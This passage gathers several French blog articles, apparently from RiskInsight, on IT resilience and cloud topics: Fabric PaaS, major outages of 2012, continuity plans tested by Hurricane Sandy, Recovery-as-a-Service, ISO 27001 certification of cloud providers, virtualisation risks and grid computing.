• Le provisioning pour déployer une stack applicative sur une infrastructure à l’aide d’une interface graphique ;

• Le management pouradministrer les stacks déployées, récupérer des statistiques et  définir des règles de scalabilité automatique.

La Fabric PaaS : un outil adapté à vos besoins ?

Avant toute chose, il est nécessaire de mesurer l’adéquation de l’outil avec le besoin attendu. Comment ? Voici quelques critères qui sauront vous aider à prendre la bonne décision :

• L’évolutivité des environnements

Si vous êtes dans un contexte soumis à de fortes évolutions d’environnement, une Fabric PaaS permet de réduire le temps de déploiement et de limiter les interventions humaines.

• Le niveau de demande de création de nouveaux environnements

Une trop faible demande ne permettra pas d’amortir le coût de mise en œuvre par les gains dégagés

• Le niveau de standardisation des demandes

Plus les demandes sont normalisées / standardisées, plus il sera possible d’aller loin dans le packaging et donc réduire au maximum les interventions humaines

• La variation dans le temps du niveau d’exigence en performance et haute disponibilité 

Une Fabric Paas permettra de gérer les capacités de performance au fil de l’eau : assurer le service lorsque le niveau d’exigence est au plus haut tout comme libérer les ressources lorsque le niveau est bas. Plus ce genre de variation sera fréquent, plus l’outil fera preuve d’utilité.

Les promesses des fabric PaaS sont alléchantes. Pour autant il s’agit de produits très récents et demandant des investissements compliqués en période de pressions budgétaires ainsi que des évolutions organisationnelles. Leur avènement nous semble toutefois inéluctable mais à un rythme d’adoption bien plus lent que celui espéré par les fournisseurs.

*Stack : Ensemble de composants logiciels permettant de mettre en œuvre un environnement (exemple : un serveur web + un schéma de base de données)

[Article écrit en collaboration avec Alaa Jamal-Bennis]

Cet article La Fabric PaaS : cœur de la proposition de valeur du PaaS Privé est apparu en premier sur RiskInsight.

Télécommunications : le réseau mobile Orange down

Si l’on demandait aux Français quelle panne les a le plus marqués en 2012, il y a fort à parier qu’ils parleraient d’Orange : au mois de juillet, l’opérateur (et d’autres par ricochet) a subi une interruption de son réseau mobile pendant plusieurs heures suite à un incident logiciel. Moins d’une semaine plus tard, c’était au tour d’O₂ de subir le même sort au Royaume-Uni pour quasiment 24h. Preuve, s’il en fallait une, que l’on ne doit pas considérer la résilience des réseaux mobiles comme une évidence.

Énergie : la plus grosse panne électrique de l’histoire

Il en va de même pour les réseaux électriques. Si la dernière panne générale en France remonte à 1978, des interruptions significatives ont été enregistrées récemment (Chili et Japon en 2011, USA en 2008 et 2003). Fin juillet 2012, l’Inde a établi un triste record : la plus grande panne d’électricité jamais enregistrée, avec 670 millions d’usagers touchés pendant plusieurs jours. En cause : une capacité de production qui a du mal à suivre la croissance de la population et de la demande, combinée à une sècheresse qui a diminué la production hydro-électrique du pays.

Banque et finance : un des bugs les plus coûteux après le blackout aux USA de 2003 et la destruction d’Ariane 5 en 1996

Les pannes et bugs logiciels occupent une bonne place cette année dans le top des causes des incidents majeurs. C’est ce qui s’est passé pour Knight Capital, qui a subi en août l’un des bugs les plus chers de l’histoire : 440 millions de dollars envolés. Un système de trading haute fréquence mal qualifié est à l’origine du désastre, qui ne manquera pas d’alimenter les détracteurs de la finance. Knight Capital est d’ailleurs passé proche de la banqueroute et n’a pu éviter le rachat par un de ses concurrents début 2013.

Dans le secteur bancaire, impossible de passer sur la panne informatique de Royal Bank of Scotland (RBS). Provoquée par une erreur dans un batch, elle a exigé d’importantes et nombreuses opérations manuelles des équipes informatiques ce qui a fortement retardé le traitement. Plus de 15 millions de clients ne pouvaient plus retirer de l’argent ou faire des virements pendant une semaine ! Résultat : 219 millions d’euros de dédommagements pour la banque.

Services informatiques : le cloud, toujours le cloud !

Les belles promesses de résilience de l’informatique dans les nuages avaient déjà pris un sacré coup en 2011, avec des interruptions importantes chez la plupart des acteurs majeurs du secteur. L’année 2012 a fini de tuer le rêve.

Amazon est le grand vainqueur avec au moins 4 pannes majeures en 2012, dont une le jour de Noël. Les causes sont diverses : tempête et panne électrique, bug logiciel, erreurs réseau ou erreur humaine. Chez Microsoft, la panne mondiale d’Azure en février a viré au tragicomique lorsqu’il fut révélé qu’elle provenait d’une erreur logicielle liée à l’année bissextile ! Enfin, bien que moins importantes, Google a aussi connu son lot de pannes en 2012, tout comme Facebook et Twitter.

Catastrophes naturelles : l’ouragan Sandy … entre autres

Impossible de terminer ce panorama sans évoquer les catastrophes naturelles : inondations aux Philippines, séisme en Iran et en Chine, ouragan Sandy en Amérique du Nord… Selon le réassureur allemand Munich Re, les catastrophes naturelles ont causé environ 160 milliards de dollars de pertes en 2012 (400 en 2011 selon la même source, année la plus coûteuse de l’histoire en la matière), sans parler des nombreuses victimes.

Et en bonus…

Moins importants en termes d’impacts que ceux mentionnés ci-dessus, deux exemples d’incidents nous semblent pourtant pouvoir donner matière à réflexion.

En cette année d’élections en France où une nouvelle fois la question du vote électronique a été posée,  deux incidents informatiques ont perturbé des processus électoraux : dans le canton de Vaud en Suisse et lors des primaires du Likoud en Israël.

Pour clore ce panorama, on se doit de citer les actes malveillants, liés à la cybercriminalité notamment, par exemple les importantes attaques DDoS contre des institutions financières aux USA ou l’infection de 30000 PC de Saudi Aramco (première compagnie pétrolière mondiale) par le virus très perfectionné Shamoon. On notera également les révélations du New York Times concernant l’implication des USA et d’Israël dans le virus Stuxnet en 2010, faisant encore monter d’un cran la pression sur la cyber-guerre.

Les années passent, les interruptions d’activité restent

Les années se suivent et ne se ressemblent pas¹, mais les interruptions d’activité, catastrophes et autres bugs informatiques continuent de provoquer des problèmes majeurs.

S’il est important de mettre des moyens sur leur prévention, il est tout aussi nécessaire de savoir réagir. Le risque zéro n’existe pas et certains accidents sont aussi inattendus qu’inévitables. Dans ce cas,  un PCA accompagné d’une gestion de crise efficace peuvent permettre de limiter grandement les dégâts !

[Article écrit en collaboration avec Gérôme Billois]

¹Voir notre rétrospective des incidents 2011.

Cet article La fin du monde a (presque) eu lieu : revue de 5 incidents marquants en 2012 est apparu en premier sur RiskInsight.

Des sinistres de cette ampleur ont permis d’alerter les DSI sur leur exposition face aux risques naturels. La régularité et la violence de ces évènements climatiques ont poussé les entreprises à prendre des mesures pour faire face à de futures tempêtes de la dimension de «Sandy». Les leçons du passé ont-elles pour autant été retenues ? Ont-elles toutes réussi ce test grandeur nature ? si oui, comment y sont- elles parvenues ?

Les conséquences de l’ouragan « Sandy »

Annoncé comme une catastrophe majeure dans l’histoire des États-Unis, l’ouragan « Sandy » a capté l’attention de la plupart des DSI des acteurs économiques de la côte Est qui ont mobilisé leurs efforts pour déclencher leurs plans de continuité informatique. Ces PCI, mis à niveau depuis les attentats du 11 Septembre 2001, sont fondés notamment sur des procédés de géo-réplication.

Les acteurs du web et plus largement du marché du cloud sont plus enclins à communiquer sur leur capacité de reprise et à faire des retours sur les incidents subis que les entreprises traditionnelles. Les informations disponibles proviennent donc essentiellement de ces acteurs.

De nombreuses pannes d’électricité causées par la tempête, ont entraîné une indisponibilité partielle ou totale de services (Huffington Post, Gawker, Cafemon, Gizmodo, Buzzfeed, etc.) dans bon nombre de datacenters. Les hébergeurs et fournisseurs de services cloud Datagram et 75 Broad ont été indisponibles à causes d’inondations ou réserves insuffisantes de carburant pour le fonctionnement des groupes électrogènes.

« Sandy » a ainsi rendu apparente la vulnérabilité des nombreux datacenters présents dans cette zone (New York, New Jersey, et Virginie) des États-Unis. En effet, plusieurs centres de données géo-répliqués n’étaient distants que d’une centaine de kilomètres (150 datacenters) et donc dans le rayon d’impact de Sandy.

Ces dysfonctionnements mettent en exergue la nécessité, même pour des PCI bien pensés comme ceux de Wall Street, d’être mis à l’épreuve dans des conditions proches de la réalité, avant d’être jugés comme fiables.

 Des PCI à l’épreuve des ouragans

Certains opérateurs de datacenter, comme Telx, ont résisté à Sandy car ils avaient appliqué précédemment des tests simulant jusqu’au bout un sinistre. Par cette initiative, Telx a pu identifier certaines insuffisances dans son PCI comme la surchauffe de ses générateurs en mode dégradé et a donc pu limiter l’impact de Sandy.

Un cas d’école est celui de Buzzfeed qui, malgré le crash de Datagram qui hébergeait ses serveurs primaires, a réussi à réduire considérablement le temps d’indisponibilité de ses services. Cette réussite s’explique par :

• la mise en cache de la plupart de ses pages chez Akamai, le gestionnaire et diffuseur de contenu
• l’hébergement dans un second datacenter des données répliquées en temps réel.

La réplication de ces données a permis le rétablissement des services de Buzzfeed chez Amazon Web services (AWS). Quelques heures ont suffi pour assurer la migration complète des données vers AWS et ainsi basculer leur service sur les infrastructures d’Amazon. Cet exploit est à relativiser car il a nécessité la configuration manuelle d’une bonne partie du socle technique de Buzzfeed et reste donc peu applicable en l’état à un SI complexe.

Les leçons de « Sandy »

Chaque incident majeur est une façon pour les Grands Comptes d’apprendre par le réel et d’anticiper les futures catastrophes. Au-delà d’une stratégie multi-datacenters, Sandy a  mis en exergue la nécessité d’anticiper, de tester et d’adapter le PCI.

Elle a aussi révélé le cloud comme une alternative envisageable pour réaliser un PCI. Alternative que les offreurs cloud commencent à mettre en avant par le biais de leurs offres packagées de Disaster Recovery As A Service.

Les entreprises européennes et notamment françaises, qui ont moins l’occasion de mettre à l’épreuve de la réalité leur PCI, devraient néanmoins s’inspirer des retours d’expériences plus nombreux acquis par les américains. D’autant plus que les hébergeurs de cloud ne rechignent pas à communiquer sur leur stratégie PCI gagnante afin d’en faire un argument marketing. En effet, même si moins fréquentes, l’Europe n’est pas à l’abri de catastrophes équivalentes en termes d’impact à « Sandy ».

Cet article Les plans de continuité informatique des cloud à l’épreuve de l’ouragan Sandy est apparu en premier sur RiskInsight.

Cet article L’actualité IT commentée par Gérôme Billois sur BFM Business est apparu en premier sur RiskInsight.

Le RaaS : fer de lance des « Cloud Recovery Services »

Comme pour beaucoup de ce qui tourne autour du cloud, il est parfois difficile de donner une définition précise de ce dont on parle, tant une même appellation peut cacher des offres différentes. Nous utiliserons la définition suivante : « Cloud Recovery Service => secours d’un système d’information sur une infrastructure virtualisée, hébergée par un tiers, disponible à la demande et facturée à l’utilisation. »

L’éventail des possibilités est très large :

•  d’une sauvegarde externalisée des données critiques en mode cloud (« Backup-as-a-Service ») …
•  …en passant par la construction par le client lui-même de son secours sur la base d’une prestation de type « IaaS » [2] …
•   …jusqu’à une offre complètement managée intégrant le suivi du SI nominal et des mécanismes de bascule planifiés. C’est ce type de prestations que l’on retrouve sous l’appellation « Recovery-as-a-Service ».

 Quel est l’intérêt de passer au RaaS ?

L’utilisation du RaaS résulte avant tout d’un choix économique. Sur le papier du moins, le secours paraît adapté au modèle de facturation du cloud (pas de sinistre > allocation limitée de ressources > coût d’utilisation réduit), alors qu’un secours traditionnel implique de stocker, héberger et faire évoluer des infrastructures, des serveurs et des applications sur un site de secours.

Mais à y regarder de plus près, les économies ne sont pas toujours au rendez-vous et varient grandement en fonction des applications. Si certaines d’entre elles, peu consommatrices de données, sont les candidates idéales pour le RaaS (des études indépendantes font état d’environ 80% d’économies [3] pour leur secours par rapport à l’approche traditionnelle), le ROI pour les applications plus lourdes et/ou pour lesquels les exigences de continuité sont plus fortes s’avère discutable. En effet, plus les RTO et RPO seront exigeants, plus le niveau de service devra être élevé (allocation renforcée de ressources, mécanismes de réplication des données site-à-site, liens sécurisés, supervision 24/7, etc.) entraînant une envolée des coûts à la clef.

Le RaaS s’assimile, à ce stade de sa maturité, au mieux à du « warm recovery ». En effet, il est aujourd’hui illusoire de penser que les solutions proposées permettront de la haute-disponibilité : délais d’activation, délais relatifs aux opérations de bascule notamment au niveau du réseau, délais de restauration en cas de corruption des données, etc.

En outre, le RaaS repose essentiellement sur des mécanismes de virtualisation de serveurs (le plus souvent restreints aux architectures Intel x86, à l’exception de quelques fournisseurs), que ne supportent pas tous les progiciels du marché, a fortiori les applications propriétaires des clients.

Ainsi, le fait de vouloir tirer pleinement parti de la compétitivité économique du RaaS tout en répondant aux besoins Métiers réduit son utilisation à une certaine catégorie d’applications. Ce faisant, il cantonne le RaaS en tant que solution complémentaire à un secours traditionnel, ce qui peut paradoxalement devenir une source de complexité, du fait de la cohabitation de deux SI de secours. Néanmoins, deux cas d’usage du RaaS émergent pour les organisations concernées :

•  La couverture des applications virtualisées ou éligibles à la virtualisation à coût optimisé
•  L’extension du secours à des périmètres qui n’auraient pas pu être intégrés au Plan de Continuité Informatique de l’organisation, pour une meilleure couverture au meilleur coût.

A qui s’adressent les offres RaaS ?

Étant donné son modèle économique et sa structure technique, le RaaS semble plus adapté aux moyennes structures (qui n’ont pas souvent la surface financière pour mettre en œuvre et gérer en propre un site de secours) et notamment à celles qui ont opéré la virtualisation de leur SI. Les études prospectives [4] le montrent : ce sont elles qui tireront la croissance de ce marché dans les prochaines années.

Les grandes organisations déjà dotées de Plans de Continuité Informatique seront probablement moins intéressées mais pourront néanmoins trouver dans le RaaS des réponses ciblées à certains de leurs besoins.

Le RaaS : une offre mature ?

Comme pour nombre de cloud services, le RaaS n’a pas encore atteint sa pleine maturité : en témoigne le foisonnement des offres et des prestataires notamment aux États-Unis et au Royaume-Uni. Au-delà des acteurs historiques de la continuité informatique se positionnent des pure-players des cloud recovery services et de plus en plus des hébergeurs informatiques, convertis au cloud.

Le marché se structure, les offres évoluent en recherchant notamment de la complémentarité avec les cloud services : des initiatives d’interopérabilité entre services IaaS et RaaS se font jour pour assurer du secours « cloud-to-cloud » par exemple.

A ce stade et en terme de couverture de risques, le RaaS doit faire ses preuves. Concrètement les infrastructures dévolues au RaaS reposent sur encore peu de datacenters. Le client qui souhaitera se prémunir de sinistres affectant des zones géographiques particulières (ou étendues) devra se rapprocher du fournisseur de service RaaS qui l’intéresse pour vérifier que son ou ses sites ne sont pas exposés aux mêmes risques.

En France, le marché reste jeune et sans retour d’expérience significatif de déploiement. Les grands offreurs français s’appuient, aujourd’hui, sur les infrastructures anglo-saxonnes ou nord-américaines de leur maison-mère (ce qui potentiellement impacte la qualité de service, le niveau de sécurité, les engagements contractuels, etc.). Reste donc aux acteurs, anciens comme nouveaux, à démontrer toute la pertinence de leurs offres, en particulier sur la gamme des services managés, probablement les plus recherchés par les DSI.

[1] On rencontre également l’acronyme DRaaS (Disaster Recovery-as-a-Service)

[2] IaaS : Infrastructure-as-a-Service

[3] « Disaster Recovery as a Cloud Service : Economic Benefits & Deployment Challenges »

[4] « Gartner Says 30 Percent of Midsize Companies Will Use Recovery-as-a-Service by 2014 »

Cet article Recovery-as-a-Service (RaaS) : une révolution pour le secours informatique ? est apparu en premier sur RiskInsight.

Certifier le management de la sécurité, pas un niveau de sécurité

Tout d’abord, bref retour sur un point majeur trop souvent oublié : la norme ISO 27001 ne certifie pas un niveau de sécurité, mais son management. Cette norme, qui énonce les exigences à mettre en œuvre pour l’implémentation d’un Système de Management de la Sécurité de l’Information (SMSI), vise à mettre en place le management de la sécurité et à s’assurer de son amélioration continue sur le périmètre de la certification.

Le choix des mesures et du niveau de sécurité en place est donc fait en réponse aux risques et exigences identifiés par les parties prenantes : un choix nécessairement validé par le management ! Contrairement à un standard « catalogue » comme PCI-DSS où toutes les mesures doivent être implémentées pour arriver à la certification, l’audit ISO 27001 ne vérifiera que les mesures sélectionnées comme apportant une réponse aux risques. Une différence de taille, qui pousse vers une sécurité pragmatique mais en contrepartie nécessite une analyse des risques de sécurité de qualité et une attention particulière de l’auditeur externe.

Un périmètre solide

De nombreuses entreprises affichent des certifications, mais il est souvent nécessaire pour les clients de s’attarder sur la lecture du périmètre pour en connaître la valeur : un périmètre très limité par rapport à l’utilisation de leurs données peut être trompeur !

Ce n’est pas le cas ici, puisque Google présente une certification ISO 27001 qui couvre l’ensemble des systèmes, collaborateurs, processus et datacenters qui permettent de délivrer le service Google Apps. Cela inclut les services  GMail, Google Talk, Google Calendar, Google Docs (documents, spreadsheets, presentations), Google Sites, Control Panel (CPanel), Google Contacts, Google Video, Google Groups, mais aussi les briques support (Directory Sync, Provisioning API, SAML-Based SSO API, Reporting API, Audit API). C’est un périmètre impressionnant au vu de la couverture des services, tant sur le plan fonctionnel que géographique !

Développer la confiance et diminuer le nombre d’audits

A l’heure où de plus en plus d’entreprises se posent la question de l’opportunité d’externaliser les services de bureautiques comme la messagerie, l’édition de documents, etc., rassurer les responsables de la sécurité en garantissant les meilleures pratiques de management de la sécurité ne peut qu’être positif en termes marketing. Au-delà de l’apport de confiance, c’est également pour Google la garantie d’une reconnaissance externe, sanctionnée par un organisme de certification indépendant, qui pourra diminuer le nombre ou la charge d’audits des clients. Un bénéfice opérationnel non négligeable – même si Google n’était pas très enclin à se faire auditer !

Si Google a largement communiqué sur l’obtention de la certification, la firme de Mountain View n’a pas été la première à se lancer dans l’aventure : Amazon web services et Microsoft Office 365 ont déjà fait l’objet de la mise en place de SMSI certifiés. Après les infogérants, l’ISO 27001 serait donc en passe de devenir le standard de référence pour la sécurité des services dans le Cloud : on ne peut que se réjouir de ce mouvement qui rassurera les entreprises clientes de ces services. Celles-ci ne doivent cependant pas considérer la certification comme un niveau de sécurité « garantie » et rester attentive aux périmètres et aux mesures mises en place concrètement.

Cet article ISO 27001, un passage obligé pour les fournisseurs de services dans le cloud ? est apparu en premier sur RiskInsight.

En matière de disponibilité, les promesses du cloud n’engagent que ceux qui y croient !

L’Hyper Cycle 2011 du Gartner a positionné en août dernier le cloud dans sa phase de « désillusion ». Force est de constater que les incidents à répétition que rencontrent les grands noms du cloud depuis l’année passée ne font que confirmer cette état de « disgrâce ».  Petit rappel des deux faits marquants de ce début d’année.

Le 29 février à 1h45 (GMT), la plate-forme de cloud services Windows Azure tombe sur 4 de ses 6 plaques mondiales pendant une durée oscillant entre 12h et 48h. Cette interruption de services a son origine dans un bogue logiciel générant une erreur de calcul de dates sur les années bissextiles ; à la décharge de Microsoft,  il est vrai qu’Azure ouvert en 2010 n’a pas connu d’autre année bissextile que 2012. Cette panne a laissé sur le carreau plusieurs sites clés, dont la fameuse place de marché du gouvernement britannique, le « CloudStore ».

Ce 7 mars vers 5h (GMT), le service Facebook tombe en panne plus de 3 heures sur les plaques  Europe, Afrique et Moyen-Orient. Principale cause avancée, celle de la défaillance des serveurs DNS européens de Facebook entraînant l’inaccessibilité du site. Pointés du doigt, les Anonymous ont démenti être mêlés à cet incident. En tout état de cause, le communiqué officiel de Facebook ne laisse filtrer aucune explication. Rappelons-nous que Facebook avait déjà rencontré un problème de configuration BGP en août 2010.

Ces deux incidents majeurs font écho aux non moins médiatiques pannes rencontrées par les promoteurs du cloud computing ; remémorons-nous les incidents de Google (trois en 2009, celle de 05/2010, puis de 02/2011 et 09/2011), d’Amazon et de son service EC2 (12/2010, 04/2011, 08/2011), du précurseur Salesforce.com (02/2008, 01/2009, 01/2010) et du plus récent VMware Cloud Foundry (05/2011).

S’agissant de « résilience », les atouts du cloud ont maintes fois été présentés, on citera en substance :

• Taux de disponibilité avantageux (Salesforce.com affiche 99,9%)
• Répartition et duplication des ressources sur des lieux géographiques différents
• Accessibilité permanente, en tout point du globe
• Standardisation de l’offre technique, facilitant sa reproductibilité sur les datacenters

Pour autant, le cloud n’en reste pas moins une machinerie complexe par construction ; du fait de l’empilement des services qui le composent, du volume des ressources qui le constitue et, paradoxalement, de leur répartition sur le globe.

Au-delà de cette complexité qui impacte les gestes d’exploitation et de maintenance au quotidien s’ajoutent également les risques posés par le modèle de standardisation retenu. Les effets d’une erreur de manipulation, d’un bogue ou d’une vulnérabilité se font ressentir rapidement sur tout ou partie des infrastructures sous-jacentes.

Difficile dans ces conditions, face à des offres « boîtes noires » peu dissertes sur leur fonctionnement interne, d’accorder un crédit sans limite aux niveaux de disponibilité avancés. Du reste, le cloud public, universel dans son usage et par sa fréquentation, ne permet pas de préjuger de la manière et avec quelle priorité seront traitées, en cas de sinistre, les entreprises (grandes ou petites) en regard des individuels que nous sommes.

Des axes de progrès pour une meilleure résilience du cloud

Ces incidents à répétition témoignent d’une maturité encore insuffisante du marché et des fournisseurs, qui fonctionnent encore pour certains « au coup par coup ». Pour autant, le tableau n’est pas si noir, le modèle vertueux d’amélioration continue se met en place, sous l’impulsion notamment de l’alliance CSA (cloud security alliance)  qui promeut de bonnes pratiques en matière de sécurité et de résilience du cloud, des exigences d’acteurs clefs et /ou de gouvernements (PCI DSS, FISMA, HIPAA, etc.) et, il faut bien le dire, au gré des incidents vécus.

D’autant que la problématique de continuité tout comme de sécurité est au cœur des préoccupations des fournisseurs de service ; en affectant la confiance de leurs clients, présents et futurs, elle touche directement leur business model. Rappelons-nous enfin que l’une des promesses essentielles du cloud computing est d’améliorer la résilience du service rendu, parce qu’il est précisément « partout dans le nuage ».

A y regarder de plus près, le nombre d’incidents rencontrés par les acteurs du cloud est équivalent sinon inférieur à ce que rencontrent les entreprises. Le principal facteur aggravant tient au fait que la surface d’impact est sans commune mesure avec celles des SI des entreprises (ce sont des dizaines de milliers voire de millions d’usagers qui sont touchés).

Les fournisseurs de service entrent doucement dans la phase de maturation de leurs offres ; ils renforcent progressivement leurs dispositifs de continuité, prennent davantage en compte le facteur humain (source indéfectible d’erreur !) et apprennent aussi à mieux communiquer auprès de leurs clients.

Mais il ne faut pas croire au cloud « infaillible ». Aussi, les entreprises consommatrices de services cloud doivent-elles prévoir des processus de continuité de leurs métiers les plus sensibles et de préservation de leurs données les plus critiques.

C’est enfin le prochain challenge des fournisseurs que de prouver et démontrer les performances de leurs services cloud face à ceux des SI des grandes organisations !

Cet article Panne Facebook : symptomatique de la résilience du cloud computing ? est apparu en premier sur RiskInsight.

Le concept de virtualisation existe depuis plus de 40 ans (avec les mainframe et systèmes IBM), mais s’est véritablement démocratisé dans les années 2000 lorsqu’il est devenu possible d’exécuter simultanément plusieurs systèmes d’exploitation sur un même poste de travail. C’est essentiellement grâce à la virtualisation système (Microsoft, VMware) qu’il est aujourd’hui connu et son succès a atteint des sommets avec le développement du « cloud computing » (Amazon, Google Apps…).

La virtualisation consiste à faire fonctionner sur une machine physique unique plusieurs systèmes comme s’ils fonctionnaient sur des machines physiques distinctes. Ceci repose sur un concept simple : des instances virtuelles sont orchestrées par un hyperviseur, garant de l’accès, la répartition des ressources et l’isolation entre les instances.

La virtualisation doit avant tout son utilisation aux gains financiers qu’elle apporte en favorisant la consolidation des infrastructures et l’optimisation des ressources utilisées. Elle engendre en même temps des bénéfices opérationnels importants en permettant la mise en place rapide de solutions en haute disponibilité : le passage au “tout logique” apporte une facilité de déploiement et une souplesse de provisionning non offerts dans le monde physique.

En 40 ans, au vu de ces bénéfices, les technologies de virtualisation se sont orientées vers des utilisations diverses, s’étendant à d’autres composants du SI que les systèmes d’exploitation d’origine : postes de travail (sessions virtuelles, VDI…), réseaux (VDC, VRF…), équipements de sécurité (Firewalls, IDS-IPS…).

Des risques technologiques … à relativiser !

Les premières craintes des entreprises vis-à-vis de la virtualisation sont liées à la fiabilité des nouveautés technologiques impliquées : les nouveaux composants introduits, en particulier l’hyperviseur, me garantissent-ils l’étanchéité des systèmes supportés par une même machine physique ?

Il existe effectivement un certain nombre de vulnérabilités exploitables sur ces technologies… mais les risques associés sont finalement peu rencontrés : les technologies phares du marché sont des technologies éprouvées et ces risques peuvent être traités, comme pour tout système, par des mesures de gestion opérationnelles de la sécurité qui sont déjà en place dans les entreprises (patch management, durcissement…). Attention cependant ces processus doivent fonctionner avec efficacité vu l’impact en cas d’incident sur les infrastructures de virtualisation.

Des risques humains … à ne pas négliger !

Si les risques les plus courants de la virtualisation ne proviennent pas de la technique elle-même, ils se situent plutôt dans la gestion de ces nouvelles technologies. La virtualisation introduit dans le SI de nouveaux composants (hyperviseur, consoles…), de nouvelles notions d’infrastructure (réseau virtuel…) et les principaux risques de la virtualisation sont le plus souvent issus d’un défaut d’encadrement liés à ces nouveautés :

• Mauvais usage des consoles d’administration, avec des impacts immédiats « effet boule de neige » en cas de mauvaise configuration : arrêt multiple d’instances, activation de fonctions de décloisonnement…
• Mauvaises pratiques de gestion de la plate-forme de virtualisation, notamment sur les aspects de gestion des inventaires et de capacity planning qui doivent être redéfinis.
• Défaut de séparation des tâches entre les équipes système et réseau, avec tous les risques d’erreur, voire de malveillance, dus à la concentration de ces responsabilités.

Les risques “humains” (erreur, malveillance, absence de séparation des responsabilités) prédominent donc sur des risques “technologiques” relativement moins probables et pouvant être limités grâce à des recommandations classiques.

Un projet de sécurisation de la virtualisation, c’est donc bien entendu un projet d’intégration des nouvelles technologies dans la gouvernance opérationnelle de la sécurité pour traiter les risques techniques liés à son utilisation… Mais aussi et avant tout un projet de réflexion sur les rôles, les responsabilités et les compétences de ses administrateurs, afin de traiter les principaux risques de la virtualisation, à savoir les risques humains ! 

Cet article La virtualisation ne virtualise pas les risques humains ! est apparu en premier sur RiskInsight.

Le 12 octobre dernier, IBM a annoncé le rachat d’un acteur majeur du marché du grid computing : Platform Computing. A cette occasion, nous revenons sur les principes, apports et défis de ce type de technologies peu connu.

1.     Qu’est-ce que le grid computing ?

Le grid computing consiste à mettre en commun des ressources logicielles et matérielles distribuées (ensemble que l’on appelle la « grille ») afin de fournir une puissance de calcul importante. La charge de travail est divisée en sous-tâches qui sont traitées en parallèle par les ressources de la grille, les résultats étant ensuite agrégés dans un résultat global rendu à l’utilisateur.

En anglais, l’emprunt du mot « grid » à l’expression « electric power grid » qui désigne le réseau électrique, traduit bien les promesses du concept : l’utilisateur se branche à la grille qui pourvoit à son besoin. Peu lui importe la complexité du système, l’hétérogénéité ou la distribution des composants, masqués par l’interface d’accès.

Des projets emblématiques donnent le ton, en matière de gigantisme :

• SETI@HOME se présente comme « une expérience scientifique qui utilise des ordinateurs reliés à internet pour la recherche d’une intelligence extraterrestre (SETI) » ; elle tire sa puissance de son « ouverture » aux ordinateurs des internautes volontaires ;
• La grille du LHC, l’accélérateur de particules du CERN,  relie en mode « fermé », plusieurs dizaines de milliers de machines, situées sur trois continents, pour analyser des données.

La puissance des ordinateurs a beau croître, la « gourmandise » de tels projets scientifiques, atteint des niveaux qui justifient ce modèle d’architecture. Dans le sillage des initiatives académiques, l’industrie et le secteur bancaire s’en sont emparés pour résoudre leurs problèmes complexes : valorisation et analyse de risque pour la finance, détection de gisements pour le pétrole, simulation et analyse de crash pour l’automobile. Aujourd’hui, les grilles intéressent les médias, les jeux en ligne, les fournisseurs internet…

2.     Quels bénéfices attendre du grid computing ?

Le grid computing peut apporter beaucoup aux secteurs tant privés que publics pour les projets qui requièrent une quantité importante de puissance de traitement dans une période de temps restreinte.

Les bénéfices attendus d’une grille sont :

• l’amélioration des performances tout en limitant les coûts,
• l’augmentation de la flexibilité d’une infrastructure pour absorber les augmentations d’échelle,
• la haute disponibilité de cette infrastructure faces aux pics de charge.

Les vertus « informatiques » du grid computing se transforment en atouts « métiers » : réduire les temps de calculs, c’est éviter les retards ou gagner du temps pour accroître la compétitivité et/ou pour améliorer ses processus.

Les middlewares « commerciaux » (citons pour l’exemple ceux de Platform Computing, Tibco Datasynapse, GridGain en open source) ont bien saisi ces enjeux. Développés à la suite des grilles académiques par transferts technologiques, ils tirent profit de ces besoins en proposant des solutions sur étagères et leur expertise.

Certes, ils évoluent sur un marché de niche, celui  constitué des clients historiques (banques, industries du pétrole, de l’automobile etc.). Mais avec la croissance exponentielle des volumes d’information, qu’il s’agisse d’événements (CEP) ou de données (Big Data), et la nécessité de les exploiter, le positionnement du grid computing pourrait bien se renforcer.

3.     Quels sont les défis à relever ?

Le concept de grid computing, ainsi que les produits du marché, sont arrivés à maturité au cours de la dernière décennie. Pourtant, il reste encore quelques barrières à franchir pour assister à une démocratisation de cette approche :

• L’expertise et le support des grilles informatiques ont un coût : il faut des techniciens qualifiés pour passer la barrière technologique des produits, ou développer/maintenir une grille « maison », mais aussi « gridifier », c’est-à-dire adapter ou développer des applications pour une exécution sur la grille. A ces coûts s’ajoutent ceux des problématiques connexes tels que le stockage ou le transfert des données.
• De plus, l’infrastructure peut nécessiter un investissement dédié.Chaque entreprise dispose généralement d’un ensemble conséquent d’ordinateurs connectés en réseau mais l’usage en grille de ces ressources existantes n’est pas évident :
  • La tendance à la virtualisation a progressivement optimisé l’usage des ressources serveurs qui sont moins sous-exploités qu’il y a une dizaine d’années.
  • Les préoccupations énergétiques interrogent sur l’intérêt, en entreprise, du modèle des grilles fondées sur des parcs d’ordinateurs peu puissants.

Pour autant, le grid computing n’est pas nécessairement l’apanage des grandes structures. Internet autorise le partage de ressources avec des partenaires extérieurs : des PME, des écoles ou des hôpitaux  peuvent se fédérer pour bâtir des grilles qui leur sont inaccessibles, seuls.

• Les grilles de calcul imposent un modèle d’architecture bien spécifique au sein du SI. De part leur caractère intrusif, elles exigent de trouver des solutions ou des compromis notamment en matière de sécurité mais également de dépasser les aprioris quant aux partages des ressources.

Pour autant, le plus gros des défis, pour les acteurs du marché, sera celui du marketing. Le grid computing doit aujourd’hui savoir se faire entendre face à des concepts phagocytaires car, quand il est question de « computing », le « cloud » vient brouiller les pistes.

Pour l’heure, si l’entrée sur le marché d’IBM ne résout pas ce problème d’image, il confirme en revanche l’intérêt du modèle de « grille » et préfigure une tendance, celle de l’intégration. L’avenir du grid computing est, sans doute, au cœur, mais, dans l’ombre du « cloud ».

Pour lire plus d’articles sur le secteur de l’énergie, cliquez ici.

Cet article Quel avenir pour le grid computing ? est apparu en premier sur RiskInsight.

Une fois de plus les Assises sont un succès, un succès à la fois grâce à une organisation de grande qualité mais aussi du fait de la présence de l’ensemble de la communauté française. RSSI, responsables des risques, DSI, éditeurs, constructeurs et cabinets de conseil, tous étaient là dans une optique de partage et d’échange toujours aussi fructueuse.

Quels sont les sujets d’actualités et les nouveautés rencontrées ?

Les sujets ont tellement été diversifiés qu’il est quasiment impossible de tous les citer. Si je devais le résumer les 3 mots clés les plus rencontrés, je dirais : cloud, consumersation et cybercriminalité. Ils ont été largement débattus et ont fait l’objet de nombreuses annonces innovantes. A l’inverse, je noterais une  plus faible représentation des sujets attenant à la sécurité applicative, pourtant au cœur de la protection aujourd’hui. Enfin, des sujets plus atypiques et prospectifs comme l’IPv6, ont fait leur apparition.

